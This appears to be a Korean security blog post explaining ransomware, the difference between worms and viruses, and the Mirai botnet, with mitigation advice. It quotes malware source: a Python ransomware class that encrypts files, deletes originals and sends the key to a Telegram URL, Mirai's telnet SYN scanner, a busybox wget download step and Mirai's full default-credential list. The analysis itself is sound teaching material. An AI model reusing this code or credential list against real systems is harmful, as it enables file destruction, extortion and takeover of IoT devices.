Ransomeware

컴퓨터 시스템의 접근을 제한하는 악성 소프트웨어의 한 종류

 

 

감염 대상

대부분의 랜섬웨어는 중요한 비즈니스 정보를 타겟으로하는 경우가 많기 때문에 Microsoft Office 파일을 대상

 

 

동작 원리

1. 이메일 첨부 파일, 악성 링크, 소프트웨어 취약점 등을 통해 사용자의 컴퓨터로 침투

2. 시스템 내의 파일이나 디렉터리를 암호화. 

  • 예시) open(f"{FileName}.lol","web") as File: File.write(Encrypted)
  • 일부 랜섬웨어는 특정 파일 확장자 또는 특정 파일 유형을 대상

3. 암호화된 파일이나 디렉터리를 해독하기 위한 키를 제공해주는 조건으로 금액 요구

 

 

해결방안

1. 파일 백업 : 정기적으로 파일을 안전한 장소에 백업

2. 보안소프트웨어 사용 : 안티바이러스 및 안티랜섬웨어 소프트웨어를 설치하여 주기적으로 업데이트

3. 의심스러운 링크, 첨부파일 열람 금지

 

만약 중요 파일이 랜섬웨어에 감염되었다면 공격자의 요구에 응해주기보다는 파일 및 보안솔루션 백업을 통해 해결해나가길 권장합니다.

 

 

Ransomware 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

1. 암호화

class D_E_ncrypt(object):             

    def __init__(self, Target=0, BoxM=0, Url=0):

        self.Target     = Target       # File Path
        self.BoxM       = BoxM         # Our Box Moudle
        self.Url        = Url          # Our Api Url in my case Telegram

    def FileE(loc):                    
        print(f"FILE -> {loc.Target}")
        try:                          
            if (os.path.isdir(loc.Target) != True) :                       

                with open(loc.Target, "rb") as File:    
                        Date    = File.read()          
               
                FileName    = loc.Target                
                Encrypted   = loc.BoxM.encrypt(Date)

                if(loc.Target != sys.argv[0]):           
                    with open(f"{FileName}.lol","wb") as File: 
                        print(f"FILE -> {FileName}")    
                        File.write(Encrypted)          
                    os.remove(loc.Target)             
        except Exception as e:print(f"Error -> {e}")
    def SendKey(Key):             
        requests.get(Key.Url)
  • 파일을 읽기 모드로 오픈 후 Date변수에 저장
  • Target을 FileName변수에 삽입, Date변수를 암호화 한 후 Encrypted변수에 저장
  • FileName.lol파일을 쓰기 모드로 오픈 후 암호화된 내용을 저장하고 기존 파일은 삭제

2. 복호화

Key         = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)                       
Box         = nacl.secret.SecretBox(Key)                                             

decrypted_data = Box.decrypt(Encrypted)
print(f"Decrypted data: {decrypted_data}")
  • nacl.secret.SecretBox에 키를 넣어 Box변수에 저장
  • Encrypted변수를 복호화하여 decrypted_data변수에 저장하여 출력

 

 


Ransomeware 소스 코드 

https://github.com/cy4nguy/Python-Ransomware/blob/master/Ransomware.py#L45

'악성코드 > virus' 카테고리의 다른 글

ILOVEYOU, Love Letter Virus  (1) 2023.12.07

전파 방식

worm - 취약한 포트, 네트워크 서비스를 탐지 후 침투하여 자동 전파 

virus -  바이러스가 포함된 파일이나, 실행 가능한 코드를 실행하였을 경우

 

활성화 방식

worm -  자체를 실행하거나, 시스템 부팅 시 자동 실행되어 네트워크를 통해 다른 시스템에 복제

virus - 감염된 파일 실행이나 부팅 시 활성화

 

대응 및 방어 방법

worm - 네트워크를 통해 확산되므로 방화벽, 업데이트 및 보안 패치, 악성트래픽 필터링을 통해 예방 

virus - 주로 파일을 통해 확산되므로 안티바이러스 소프트웨어 실행, 파일 검사 등을 통해 예방 

 

worm, virus의 차이

바이러스와 웜 모두 자가 복제기능이 있을수있다. 차이점으로는 전파 방식과 전파 대상이다.

 

  WORM VIRUS
전파경로 네트워크(IP, PORT) 파일, 프로그램
복제여부 자가 복제 자가 복제
공격대상 네트워크, 시스템 파일, 시스템

 

 

미라이 봇넷

사물 인터넷 기기로 접근하여 감염 시킨 후 감염된 PC에게 명령을 내려(C&C) DDOS 공격을 수행하는 봇넷의 일종이다.

 

감염 대상

관리자 계정 설정 및 패스워드 보안이 취약한 IoT 기기 

 

동작 원리

1. IOT기기에 사전공격 시도하여 보안에 취약한 IoT기기에 접속

  • 사전 공격(Dictionary attack) : 아이디와 비밀번호를 미리 구성해두고 이를 대입하여 공격하는 방식
  • Mirai 봇넷은 보통 23번 포트로 접근하여 사전공격 실행

2. 악성 코드 전파 및 감염(wget 악성 url 또는 ip)

  • 접속에 성공한 후 미라이 악성코드를 다운로드한다. IoT장비에서 제공하는 명령어가 부족하여 다양한 명령어를 사용하기위해 Busybox(리눅스 기반 명령어 모음도구)를 호출 후 Busybox의 wget 명령어를 이용하여 미라이 악성코드를 다운받아 실행시킨다.
  • 예시 ) busybox wget http://~~, busybox wget xxx.xxx.xxx.xxx

3. 좀비 PC 확보

4. 봇넷 구성

5. 디도스 공격

  • 이렇게 형성된 봇넷은 C&C 서버로부터 명령을 기다리고 있다가 디도스 공격 명령이 내려지면 디도스 공격을 수행한다. 공격방식은 대역폭, 자원고갈, 웹 공격 등을 수행한다.

해결방안

1. IoT기기의 패스워드를 강력한 패스워드로 변경

2. 주기적으로 IoT기기 업데이트 실시

3. 쉘을 이용하는 포트 최대한 닫아두기

 

미라이봇넷 소스 코드 분석

1. Scanner

    do
    {
        source_port = rand_next() & 0xffff;
    }
    while (ntohs(source_port) < 1024);

    iph = (struct iphdr *)scanner_rawpkt;
    tcph = (struct tcphdr *)(iph + 1);

    // Set up IPv4 header
    iph->ihl = 5;
    iph->version = 4;
    iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
    iph->id = rand_next();
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;

    // Set up TCP header
    tcph->dest = htons(23);
    tcph->source = source_port;
    tcph->doff = 5;
    tcph->window = rand_next() & 0xffff;
    tcph->syn = TRUE;

 

  • 1024보다 작은 숫자로 랜덤하게 source_port를 지정
  • ip, port를 지정
  • 이번 Mirai botnet소스코드의 경우 port는 23번 포트로 고정

2. 사전공격

// Set up passwords
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   fucker
                if (err == 0 && ret == 0)
                {
                    conn->state = SC_HANDLE_IACS;
                    conn->auth = random_auth_entry();
                    conn->rdbuf_pos = 0;
  • 스캐닝을 통해 텔넷을 사용하는 IoT 기기를 발견하면 앞에서 설정한 ID, PW를 랜덤으로 사전 공격을 수행한다.

 

 


Mirai botnet 소스 코드

https://github.com/jgamblin/Mirai-Source-Code

+ Recent posts